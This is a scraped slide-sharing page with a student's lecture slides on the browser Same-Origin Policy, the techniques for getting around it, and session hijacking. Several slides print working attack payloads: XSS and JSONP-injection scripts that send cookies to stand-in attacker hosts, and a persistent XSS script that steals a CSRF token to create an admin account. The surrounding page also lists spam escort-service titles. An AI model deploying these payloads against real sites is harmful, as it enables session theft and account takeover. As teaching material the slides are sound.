ZXCTN 5804 / ZTE PTN / ZTE POTN / ZTE 5804 PTN / ZTE POTN 5804 ( 100/200 GE Z...ZXCTN 5804 / ZTE PTN / ZTE POTN / ZTE 5804 PTN / ZTE POTN 5804 ( 100/200 GE Z...
ZXCTN 5804 / ZTE PTN / ZTE POTN / ZTE 5804 PTN / ZTE POTN 5804 ( 100/200 GE Z...ZTE
 
Study on Air-Water & Water-Water Heat Exchange in a Finned Tube Exchanger
Study on Air-Water & Water-Water Heat Exchange in a Finned Tube ExchangerStudy on Air-Water & Water-Water Heat Exchange in a Finned Tube Exchanger
Study on Air-Water & Water-Water Heat Exchange in a Finned Tube ExchangerAnamika Sarkar
 
GDSC ASEB Gen AI study jams presentation
GDSC ASEB Gen AI study jams presentationGDSC ASEB Gen AI study jams presentation
GDSC ASEB Gen AI study jams presentationGDSCAESB
 
CCS355 Neural Network & Deep Learning Unit II Notes with Question bank .pdf
CCS355 Neural Network & Deep Learning Unit II Notes with Question bank .pdfCCS355 Neural Network & Deep Learning Unit II Notes with Question bank .pdf
CCS355 Neural Network & Deep Learning Unit II Notes with Question bank .pdfAsst.prof M.Gokilavani
 
Call Girls Narol 7397865700 Independent Call Girls
Call Girls Narol 7397865700 Independent Call GirlsCall Girls Narol 7397865700 Independent Call Girls
Call Girls Narol 7397865700 Independent Call Girlsssuser7cb4ff
 
Gurgaon ✡️9711147426✨Call In girls Gurgaon Sector 51 escort service
Gurgaon ✡️9711147426✨Call In girls Gurgaon Sector 51 escort serviceGurgaon ✡️9711147426✨Call In girls Gurgaon Sector 51 escort service
Gurgaon ✡️9711147426✨Call In girls Gurgaon Sector 51 escort servicejennyeacort
 
High Profile Call Girls Nagpur Meera Call 7001035870 Meet With Nagpur Escorts
High Profile Call Girls Nagpur Meera Call 7001035870 Meet With Nagpur EscortsHigh Profile Call Girls Nagpur Meera Call 7001035870 Meet With Nagpur Escorts
High Profile Call Girls Nagpur Meera Call 7001035870 Meet With Nagpur EscortsCall Girls in Nagpur High Profile
 
Oxy acetylene welding presentation note.
Oxy acetylene welding presentation note.Oxy acetylene welding presentation note.
Oxy acetylene welding presentation note.eptoze12
 
CCS355 Neural Network & Deep Learning UNIT III notes and Question bank .pdf
CCS355 Neural Network & Deep Learning UNIT III notes and Question bank .pdfCCS355 Neural Network & Deep Learning UNIT III notes and Question bank .pdf
CCS355 Neural Network & Deep Learning UNIT III notes and Question bank .pdfAsst.prof M.Gokilavani
 
Heart Disease Prediction using machine learning.pptx
Heart Disease Prediction using machine learning.pptxHeart Disease Prediction using machine learning.pptx
Heart Disease Prediction using machine learning.pptxPoojaBan
 
Introduction to Microprocesso programming and interfacing.pptx
Introduction to Microprocesso programming and interfacing.pptxIntroduction to Microprocesso programming and interfacing.pptx
Introduction to Microprocesso programming and interfacing.pptxvipinkmenon1
 
Sheet Pile Wall Design and Construction: A Practical Guide for Civil Engineer...
Sheet Pile Wall Design and Construction: A Practical Guide for Civil Engineer...Sheet Pile Wall Design and Construction: A Practical Guide for Civil Engineer...
Sheet Pile Wall Design and Construction: A Practical Guide for Civil Engineer...Dr.Costas Sachpazis
 
Microscopic Analysis of Ceramic Materials.pptx
Microscopic Analysis of Ceramic Materials.pptxMicroscopic Analysis of Ceramic Materials.pptx
Microscopic Analysis of Ceramic Materials.pptxpurnimasatapathy1234
 
Biology for Computer Engineers Course Handout.pptx
Biology for Computer Engineers Course Handout.pptxBiology for Computer Engineers Course Handout.pptx
Biology for Computer Engineers Course Handout.pptxDeepakSakkari2
 
SPICE PARK APR2024 ( 6,793 SPICE Models )
SPICE PARK APR2024 ( 6,793 SPICE Models )SPICE PARK APR2024 ( 6,793 SPICE Models )
SPICE PARK APR2024 ( 6,793 SPICE Models )Tsuyoshi Horigome
 
Model Call Girl in Narela Delhi reach out to us at 🔝8264348440🔝
Model Call Girl in Narela Delhi reach out to us at 🔝8264348440🔝Model Call Girl in Narela Delhi reach out to us at 🔝8264348440🔝
Model Call Girl in Narela Delhi reach out to us at 🔝8264348440🔝soniya singh
 

Recently uploaded (20)

main PPT.pptx of girls hostel security using rfid
main PPT.pptx of girls hostel security using rfidmain PPT.pptx of girls hostel security using rfid
main PPT.pptx of girls hostel security using rfid
 
microprocessor 8085 and its interfacing
microprocessor 8085  and its interfacingmicroprocessor 8085  and its interfacing
microprocessor 8085 and its interfacing
 
ZXCTN 5804 / ZTE PTN / ZTE POTN / ZTE 5804 PTN / ZTE POTN 5804 ( 100/200 GE Z...
ZXCTN 5804 / ZTE PTN / ZTE POTN / ZTE 5804 PTN / ZTE POTN 5804 ( 100/200 GE Z...ZXCTN 5804 / ZTE PTN / ZTE POTN / ZTE 5804 PTN / ZTE POTN 5804 ( 100/200 GE Z...
ZXCTN 5804 / ZTE PTN / ZTE POTN / ZTE 5804 PTN / ZTE POTN 5804 ( 100/200 GE Z...
 
🔝9953056974🔝!!-YOUNG call girls in Rajendra Nagar Escort rvice Shot 2000 nigh...
🔝9953056974🔝!!-YOUNG call girls in Rajendra Nagar Escort rvice Shot 2000 nigh...🔝9953056974🔝!!-YOUNG call girls in Rajendra Nagar Escort rvice Shot 2000 nigh...
🔝9953056974🔝!!-YOUNG call girls in Rajendra Nagar Escort rvice Shot 2000 nigh...
 
Study on Air-Water & Water-Water Heat Exchange in a Finned Tube Exchanger
Study on Air-Water & Water-Water Heat Exchange in a Finned Tube ExchangerStudy on Air-Water & Water-Water Heat Exchange in a Finned Tube Exchanger
Study on Air-Water & Water-Water Heat Exchange in a Finned Tube Exchanger
 
GDSC ASEB Gen AI study jams presentation
GDSC ASEB Gen AI study jams presentationGDSC ASEB Gen AI study jams presentation
GDSC ASEB Gen AI study jams presentation
 
CCS355 Neural Network & Deep Learning Unit II Notes with Question bank .pdf
CCS355 Neural Network & Deep Learning Unit II Notes with Question bank .pdfCCS355 Neural Network & Deep Learning Unit II Notes with Question bank .pdf
CCS355 Neural Network & Deep Learning Unit II Notes with Question bank .pdf
 
Call Girls Narol 7397865700 Independent Call Girls
Call Girls Narol 7397865700 Independent Call GirlsCall Girls Narol 7397865700 Independent Call Girls
Call Girls Narol 7397865700 Independent Call Girls
 
Gurgaon ✡️9711147426✨Call In girls Gurgaon Sector 51 escort service
Gurgaon ✡️9711147426✨Call In girls Gurgaon Sector 51 escort serviceGurgaon ✡️9711147426✨Call In girls Gurgaon Sector 51 escort service
Gurgaon ✡️9711147426✨Call In girls Gurgaon Sector 51 escort service
 
High Profile Call Girls Nagpur Meera Call 7001035870 Meet With Nagpur Escorts
High Profile Call Girls Nagpur Meera Call 7001035870 Meet With Nagpur EscortsHigh Profile Call Girls Nagpur Meera Call 7001035870 Meet With Nagpur Escorts
High Profile Call Girls Nagpur Meera Call 7001035870 Meet With Nagpur Escorts
 
Oxy acetylene welding presentation note.
Oxy acetylene welding presentation note.Oxy acetylene welding presentation note.
Oxy acetylene welding presentation note.
 
9953056974 Call Girls In South Ex, Escorts (Delhi) NCR.pdf
9953056974 Call Girls In South Ex, Escorts (Delhi) NCR.pdf9953056974 Call Girls In South Ex, Escorts (Delhi) NCR.pdf
9953056974 Call Girls In South Ex, Escorts (Delhi) NCR.pdf
 
CCS355 Neural Network & Deep Learning UNIT III notes and Question bank .pdf
CCS355 Neural Network & Deep Learning UNIT III notes and Question bank .pdfCCS355 Neural Network & Deep Learning UNIT III notes and Question bank .pdf
CCS355 Neural Network & Deep Learning UNIT III notes and Question bank .pdf
 
Heart Disease Prediction using machine learning.pptx
Heart Disease Prediction using machine learning.pptxHeart Disease Prediction using machine learning.pptx
Heart Disease Prediction using machine learning.pptx
 
Introduction to Microprocesso programming and interfacing.pptx
Introduction to Microprocesso programming and interfacing.pptxIntroduction to Microprocesso programming and interfacing.pptx
Introduction to Microprocesso programming and interfacing.pptx
 
Sheet Pile Wall Design and Construction: A Practical Guide for Civil Engineer...
Sheet Pile Wall Design and Construction: A Practical Guide for Civil Engineer...Sheet Pile Wall Design and Construction: A Practical Guide for Civil Engineer...
Sheet Pile Wall Design and Construction: A Practical Guide for Civil Engineer...
 
Microscopic Analysis of Ceramic Materials.pptx
Microscopic Analysis of Ceramic Materials.pptxMicroscopic Analysis of Ceramic Materials.pptx
Microscopic Analysis of Ceramic Materials.pptx
 
Biology for Computer Engineers Course Handout.pptx
Biology for Computer Engineers Course Handout.pptxBiology for Computer Engineers Course Handout.pptx
Biology for Computer Engineers Course Handout.pptx
 
SPICE PARK APR2024 ( 6,793 SPICE Models )
SPICE PARK APR2024 ( 6,793 SPICE Models )SPICE PARK APR2024 ( 6,793 SPICE Models )
SPICE PARK APR2024 ( 6,793 SPICE Models )
 
Model Call Girl in Narela Delhi reach out to us at 🔝8264348440🔝
Model Call Girl in Narela Delhi reach out to us at 🔝8264348440🔝Model Call Girl in Narela Delhi reach out to us at 🔝8264348440🔝
Model Call Girl in Narela Delhi reach out to us at 🔝8264348440🔝
 

The Same-Origin Policy

  • 1. The Same-Origin Policy Master in Engineering in Computer Science Web Security and Privacy: Web Application Security Homework a.y. 2016-17 Student: Fabrizio Farinacci 1
  • 2. 2 Hello! I AM FABRIZIO FARINACCI You can find me at: https://www.linkedin.com/in/fabrizio-farinacci-496679116/
  • 4. SOP in a nutshell Restrict the access to the elements in the Document Object Model of a page only to the scripts having the exact same origin of the application serving that page. 4
  • 5. The Origin check ● An origin is defined as a combination of URI scheme, hostname and port number: so origin are triples of the form {protocol, host, port}. ● Only if the web pages have the exact same origin the SOP check will succeed. ● This prevents the unpleasant situation in which a malicious script from a different origin manages to access sensitive data on another web page 5
  • 6. The SOP: an example URL Outcome Reason http://store.company.com/dir2/other.html Success http://store.company.com/dir/inner/another.html Success https://store.company.com/secure.html Failure Different protocol http://store.company.com:81/dir/etc.html Failure Different port http://login.company.com/dir/other.html Failure DIfferent host http://company.com/dir/other.html Failure Different host http://store.company.com:80/dir/other.html Depends Port explicit* 6 Ex. Performing the check against the URL: http://store.company.com/dir/page.html *The outcome depends on the specific browser's implementation of the SOP.
  • 7. What threats we want to protect from? ● The stateless nature of HTTP requires the use cookies to preserve authenticated session of users ● Problem: The ownership of those cookies it is sufficient to prove the user identity to the server ● Cross-Site Request Forgery (CSRF) attacks: Unauthorized requests are transmitted to the web-apps exploiting opened user sessions. ● Protection: Web-apps that use JavaScript may use anti-CSRF techniques relying on same-origin policy. 7
  • 8. Anti-CSRF protection: an example ● Upon login, Csrf-token is set for the user: Set-Cookie: Csrf-token=i7XNjC4b8KVok3uw5RftR38Wgp2DFwql; expires=Tues, 30-May-2017 11:25:33 GMT; Max-Age=31449600; Path=/ ● To make a request, the Javascript must read the cookie value and copy it into a X-Csrf-Token header: X-Csrf-Token: i7XNjC4b8KVok3uw5RftR38Wgp2DFwql ● Protection: Javascript originating from different locations cannot read the cookie value when returned in the response or once stored in the DOM. CSRF attacks cannot perform valid requests without the knowledge of the Csrf-token. 8
  • 10. Why bypassing SOP? ● Example: a big company with base domain company.com deploys its services on multiple subdomains such as store.company.com, login.company.com and so on. ● Problem: the same-origin policy check will fail when a script originating from one subdomain tries to read data from a second subdomain or even from the original base domain. ● Goal: Weaken the SOP enabling subdomain of the same base domain to cooperate. 10
  • 11. Cross-origin requests vs. the SOP ● Cross-Origin Network Access: requests that span two different origins (e.g. XHR or <img>). ● Those are controlled by the SOP: ○ Cross-origin writes (e.g. forms) allowed ○ Cross-origin reads (e.g. responses) disallowed ○ Cross-origin embeddings allowed, for example: ■ Images: <img> ■ Javascripts: <script src=”...”></script> ■ Web pages: <frame> or <iframe> ■ … ● AJAX call restrictions favors the policy relaxation! 11
  • 12. Techniques for bypassing SOP Techniques for bypassing SOP can be divided in: ● Manipulating the origin of documents: ○ The document.property ● Exploiting allowed cross-origin embeddings: ○ JSONP ○ The iframe hack ● Avoiding browser-to-server cross-origin calls: ○ Cross-document messaging ○ Server side proxies ● Restricting access with origin whitelisting: ○ WebSockets ○ Cross-Origin Resource Sharing 12
  • 14. “ General idea: “Manipulating the declared origin of resources to succeed in the SOP check”. 14
  • 15. The document.domain property ● Explicitly change the document.domain property of the web page using Javascript. ● Example: In a company, login.company.com is the subdomain in charge of authenticating the users while store.company.com is the subdomain in charge of maintaining the virtual-cart of the users. We would like the two to freely interact, without having to care about the SOP. ● Solution: change the value of their document.domain property from their current domain to a superdomain of their current domain (i.e. company.com). 15
  • 16. Changing document.domain property Running the following Javascript code for both the pages of the two subdomains achieves the desired effect of changing the origin of the documents to company.com, passing the SOP check: // For the URI http://store.company.com/dir/page.html the // following sets domain to the string "store.company.com" var domain = document.domain; … // The following changes the value of document.domain // to the superdomain "company.com" document.domain = "company.com" 16
  • 17. The document.domain property (cont’d) ● The document.domain property can be changed only a to superdomain of the current domain, but in any case restricted to its base domain. ● Anything belonging to the base domain will have the permission to access to the DOM of the web pages affected by the change. ● Problem: The attack surface of the web application is enlarged. It is sufficient to have another vulnerable application (e.g. http://exploitable.company.com) to compromise the security of the other applications 17
  • 19. “ General idea: “Exploit allowed embedding elements to enable cross-origin data passing”. 19
  • 20. JSONP: the idea ● Cross-domain script inclusion, used to externally load Javascript libraries as jQuery, is allowed. ● Idea: Use the <script src="..."></script> element to carry data in form of JSON from one domain to another in a cross-origin manner. ● Ex. Data at htttp://retailer.com/products/[prod-id]: { "Name": "FamousProduct", "Brand": "FamousBrand", "Price": 29.99, "InStock": 10 } 20
  • 21. JSONP: how it works? ● Problem: Javascript a variable assignment to access the data loaded by the <script> element. ● Solution: Instruct the server, via the callback parameter to return the data “padded” as a call to a local function ● The following JSONP call <script type="application/javascript" src="htttp://retailer.com/products/[prod-id]?callback=parseProduct"> </script> Triggers the following response from the server parseProduct({"Name": "FamousProduct", "Brand": "FamousBrand", "Price": 29.99, "InStock": 10}); 21
  • 22. JSONP: improving the scheme ● Problem: The previous scheme requires to statically modify the page to adding <script> elements ● Solution: Use dynamic script element injection to inject <script> element in the page when upon JSONP calls ● Is it possible to manually develop standalone solution or to use already existing Javascript Helper Libraries such as jQuery to inject <script> elements with a single call: jQuery.getJSON("htttp://retailer.com/products/[prod-id]?callback=?", function(data) { // Process the JSON data … } ); resulting in the call to an library generated inline function: jsonp7531527694438({"Name": "FamousProduct", "Brand": "FamousBrand", "Price": 29.99, "InStock": 10});22
  • 23. JSONP: security concerns JSONP has some problems: ● Requires excessive trust: It’s essentially a self-inflicted XSS vulnerability, since the JSONP service can send back whatever it likes along with or in place of what requested. ● Introduces CSRF vulnerabilities: It enables to perform. side-effects with GET requests, meaning that those has to be treated as POST request to avoid introducing flaws. ● Raises mixed-content warnings: The presence of cross-origin calls pushes browsers to raise warnings. ● Problematic user authentication: It’s difficult to authenticate the users accessing the service. 23
  • 24. The iframe hack ● One very old and hacky technique to implement some form of cross-origin communication is the so-called iframe hack or URL fragment hack. ● It originates from the following observations: ○ A parent window cannot read anything from a child window on a different domain but... ○ A parent window can traverse any known elements in each iframe it contains and… ○ parent window can set properties of iframes. ● So we get that: a parent window can navigate to iframes belonging to its domain (even if their parents belong to another one) and read/write the properties of this one. 24
  • 25. The iframe hack : how it works? ● This enables to create a cross-origin channel: ○ The 2nd level iframe, sets the URL property of the innermost iframe by changing what's after the #, so that the page doesn't reload, and writing the message for the uppermost iframe; 25
  • 26. The iframe hack : how it works? (con’t) ● This enables to create a cross-origin channel: ○ The uppermost iframe reads the URL property of the innermost iframe from its own domain and reads the message from the other domain. 26
  • 27. The iframe hack : concerns and limitations ● It’s a simple and very hacky technique, but: ○ There may be compatibility issues with modern browsers ○ Size limitations of the exchanged message ○ Since the input is coming from a different domain, this must be properly sanitized to avoid the risk of XSS attacks. 27
  • 29. “ General idea: “Avoid making the browser send the cross-origin request while providing other means for cross origin communication”. 29
  • 30. Cross-document messaging ● Idea: Use the HTML5 window.postMessage() method to circumvent the SOP restrictions ● Calling window.postMessage() on a window reference, enables a script running on a second window to pass a message to a script running on a second page, regardless of the script origin. ● The syntax of a window.postMessage() call is: targetWindow.postMessage(message, targetOrigin, [transfer]); ○ targetWindow: a reference to the window ○ message: the serialized data to be sent ○ targetOrigin: the expected origin of targetWindow ○ transfer (Optional): sequence of object whose ownership must be transferred to targetWindow 30
  • 31. Cross-document messaging (cont’d) ● To listen for dispatched messages, the targetWindow must register a user-defined listener: window.addEventListener("message", receiveMessage, false); function receiveMessage(event) { // Check the origin is the expected one if (event.origin !== "http://my-domain.com:8080") return; // Do something with the message … } ● The messages have the following properties: ○ data: the message coming from the other window; ○ origin: the origin of the window sending the message at the moment postMessage() was called; ○ source: a reference to the sender window. 31
  • 32. Cross-document messaging: security concerns To avoid that the so established cross-origin channels gets misused, the following good practices must be fulfilled: ● If you don't expect to receive messages, do not add event listener to handle MessageEvent ● Always verify the sender identity, using the origin and possibly the source property. This because the origin property gives no guarantee on the current origin of the window that must be verified by opening a channel toward the source meant for the received origin. ● Always specify an exact targetOrigin, don’t use “*” ● Always sanitize the received message, to prevent XSS attacks 32
  • 33. Server side proxies ● Problem: The SOP prevents the browser to send cross-origin requests. ● Solution: Deploy a proxy server and make this one perform the cross-origin request on behalf of the browser. ● Problem: The proxy must be secured against attempts to compromise it. The security of the application is the same as the security of the proxy: if this gets compromised, then the application gets compromised too. 33
  • 35. “ General idea: “Employ a origin whitelist at server side to decide whether to accept a request or no”. 35
  • 36. WebSockets ● Idea: Use the HTML5 WebSocket technology to create full-duplex channels not subject to the SOP // Open a websocket, possibly using the specified subprotocols var ws = new WebSocket('ws://ws.server.com/ws', ['soap', 'xmpp']); // When the connection is open… ws.onopen = function( ) { // Do something… }; // When there's an error… ws.onerror = function(error) { // Do something… }; // When receiving a message… ws.onmessage = function(msg) { // Do something… }; // Send a message or data ws.send(/* Put here your string or binary data */);36
  • 37. The WebSocket protocol ● To use WebSockets it’s required to perform a protocol upgrade to switch from http:// or https:// to ws:// or wss://, through a client-server handshake Client request: GET /ws HTTP/1.1 Host: ws.server.com … Cookie: session_id=i7XNjC4b8KVok3uw5RftR38Wgp2DFwql Sec-WebSocket-Version: 13 Origin: ws.client.com Sec-WebSocket-Key: x7nPlaiHMGDBuJeD6l7y/Q==Sec- WebSocket-Protocol: soap, xmpp Connection: Upgrade Upgrade: websocket Server response: HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= Sec-WebSocket-Protocol: soap 37
  • 38. WebSockets: security concerns In the WebSocket handshake, are sent: ● An Origin header, indicating the request origin; ● A cookie, used provide a form of client authentication: the protocol doesn't specify any authentication mechanism, any method available at a generic HTTP server is fine. ● A Sec-WebSocket-Key header, created and injected by the browser to prove the handshake validity; It is recommended to: ● Always check the origin against whitelists of allowed ones ● Use session-unique unguessable tokens (e.g. CSRF tokens) Otherwise we risk a Cross-Site WebSocket Hijacking (CSWSH): a CSRF attack with full bi-directional capabilities exploiting the session of unconscious users. 38
  • 39. Cross-Origin Resource Sharing ● The W3C Recommended Standard for performing cross-origin requests ● Allows servers to setup cross-origin access control rules to enable cross-origin data transfer in a controlled way. 39
  • 40. CORS: simple vs. preflight requests The request may follow two different paths: ● standard latency, employing the traditional one request/one response pattern of HTTP requests ● added latency, to perform the CORS checks, employing a so-called preflight request that antecedes the real request We have a simple request when all the following holds: ● We use an HTTP method among GET, HEAD and POST ● Additional headers are CORS-safelisted request-headers ● The allowed values for the Content-Type header are: application/x-www-form-urlencoded multipart/form-data text/plain In the remaining cases we are in front of a preflight request. 40
  • 41. CORS: the headers ● CORS defines a set of custom headers to be bundled within request/responses by the browser/server respectively. ● The header specifies the origins that have the permission to send the request to a resource. In the end is the browser that must support and enforce the restrictions. ● The most important ones are: ○ Origin, specifying the origin and sent in each request ○ Access-Control-Allow-Origin, specifying the set of allowed origins (or *) and sent in each response 41 Request: GET /resources/resource HTTP/1.1 Host: b-domain.com // Other allowed headers Origin: http://a-domain.com // Content of the request Response: HTTP/1.1 200 OK … Access-Control-Allow-Origin: http://a-domain.com | * // Content of the response
  • 42. CORS: preflight requests ● Preflight requests are addressed by the browser by anteceding an OPTION request to the real request ● The response is examined to decide whether it is permitted to execute the request (performed then as a simple one) or not Preflight request: OPTIONS /api/api-method/ HTTP/1.1 Host: b-domain.com … Origin: http://a-domain.com Access-Control-Request-Method: POST Access-Control-Request-Headers: Content-Type Preflight response: HTTP/1.1 200 OK … Access-Control-Allow-Origin: http://a-domain.com Access-Control-Allow-Methods: POST, OPTIONS Access-Control-Allow-Headers: Content-Type Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true 42
  • 43. CORS: observations CORS enables: ● Web servers to perform a fine grain whitelisted control over cross-origin request extending the support to cross-domain AJAX-like invocations (e.g. XHR) ● To perform credentialed AJAX-like calls, securing them against the possibility of CSRF attacks (so cookie hijacking), by means of the Access-Control-Allow-Credentials header So, it is considered the “safe” way of bypassing SOP… However: ● You must avoid the use of the “*”, that allows all the domains ● Strong anti-CSRF authentication mechanism must be employed to prevent CSRF attacks and session hijacking ● You must use up-to-date browsers: is the browser that must support and enforce the restrictions specified by the server 43
  • 44. SOP and Session Hijacking3 44
  • 45. XSS, CSRF and Session Hijacking ● Problem: The attacker wants to hijack the user session using XSS and CSRF attacks, possibly in combined way ● Goal: Steal the user cookie or exploit it to handcraft request that are performed without the user consent Example: XSS attack to steal the user cookie HTTP/1.1 200 OK … Set-Cookie: session_id=i7XNjC4b8KVok3uw5RftR38Wgp2DFwql; expires=Tues, 30-May-2017 11:25:33 GMT; Max-Age=31449600; Path=/ The cookie gets stolen when visiting a compromised page of the website: <script>// <![CDATA[ document.write(' <img src="http://attacker.com/stealer.php?cookie="+ escape(document.cookie)>'); // ]]></script>45
  • 46. Session Hijacking: A well-crafted attack ● Servers may protect their cookies from Javascript (using the HttpOnly header) and enforce additional protection against CSRF attacks (using CSRF-Tokens) but... ● In presence of vulnerabilities (e.g. XSS vulnerabilities), knowledge of the target and a combination of CSRF and XSS attacks session hijacking attacks may still take place Ex. A well crafted attack against a web application 1. Make a POST request to “/admin/userControlPanel.php” to obtain the X-CSRF-Token: POST /admin/userControlPanel.php HTTP/1.1 Host: vuln.target.com… Cookie: session_id=i7XNjC4b8KVok3uw5RftR38Wgp2DFwql 46
  • 47. Session Hijacking: A well-crafted attack (cont’d) 2. Receive the response with the X-CSRF-Token: <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge; charset=utf-8"> <meta name="csrf-param" content="authenticity_token" /> <meta name="csrf-token" content="TnVIYXJib3JTZWN1cml0eTpEX0t1ZG9zVG9Zb3VGb3JEZWNv=" /> </html> 3. Make the authenticated request to “/admin/addUser.php”: POST /admin/addUser.php HTTP/1.1 Host: vuln.target.com … X-CSRF-Token: TnVIYXJib3JTZWN1cml0eTpEX0t1ZG9zVG9Zb3VGb3JEZWNv Cookie: session_id=i7XNjC4b8KVok3uw5RftR38Wgp2DFwql … user=Mallory&pass=psw&admin=true47
  • 48. Session Hijacking: A well-crafted attack (cont’d) The previous chain of request can be carried out by exploiting a XSS vulnerability that enables the following XSS persistent attack: <script>// <![CDATA[ data = "user=hacker&pass=myPassword&admin=true; function requestA() { xhr = new XMLHttpRequest(); xhr.open("GET", "/admin/userControlPanel.php", true); xhr.onreadystatechange = function () { if (xhr.readyState == 4 && xhr.status == 200) { var src = xhr.responseText; p = /name=n"csrf-tokenn" content=n"(.*)(?=n")/; var token = src.match(p)[1]; requestB(token);} } xhr.send(); } function requestB(token) { xhrb = new XMLHttpRequest(); xhrb.open("POST", "/admin/addUser.php", true); xhrb.setRequestHeader("X-CSRF-Token", token); xhrb.setRequestHeader("content-type","application/x-www-form-urlencoded;charset=UTF-8"); xhrb.setRequestHeader("Content-length", data.length); xhrb.setRequestHeader("Connection", "close"); xhrb.send(data); } RequestA(); // ]]></script> 48
  • 49. The role of SOP ● The previous attack cannot be stopped, no matter if SOP it is implemented or not. But... ● It requires the presence of severe XSS vulnerabilities and deep knowledge of the application to attack ● In most of the cases, if the application is implementing the proper protections (i.e. HttpOnly flag + CSRF-Tokens), the SOP will protect against those attacks. ● The real problems for the SOP arises when web application developers decide to bypass the SOP: this, if not done in the proper way, will very likely introduce vulnerabilities that can be leveraged by attackers. 49
  • 50. Weakening SOP: the JSONP case ● The most typical case is JSONP: a very famous and unsafe solution that is very like a “self-inflicted” XSS vulnerability: http://yoursite.com/jsonp.php?callback=( function() { $(document.body).append( '<script type="text/javascript" src="http://badsite.com/?loot='+document.cookie+'"> </script>'); })// That triggers the following code execution: (function() { $(document.body).append( '<script type="text/javascript" src="http://badsite.com/?loot='+document.cookie+'"> </script>'); })//("f"foo": data, ...g"); 50
  • 51. Weakening SOP: conclusions ● It’s pretty obvious: if we bypass the controls the SOP imposes, we have to remedy by controlling in other ways the origin and the effects of a request. ● We could show other examples of session hijacking attacks against each of the above mentioned solutions but the core issues affecting all of them is the same: “Avoiding the restrictions means reducing the quality and the variety of controls performed: to be protected against attacks (such as cookie hijacking attacks) those controls must be enforced and performed in other ways.” 51
  • 52. Thanks! ANY QUESTIONS? 52 You can find me on LinkedIn: Fabrizio Farinacci: https://www.linkedin.com/in/fabrizio-farinacci-496679116/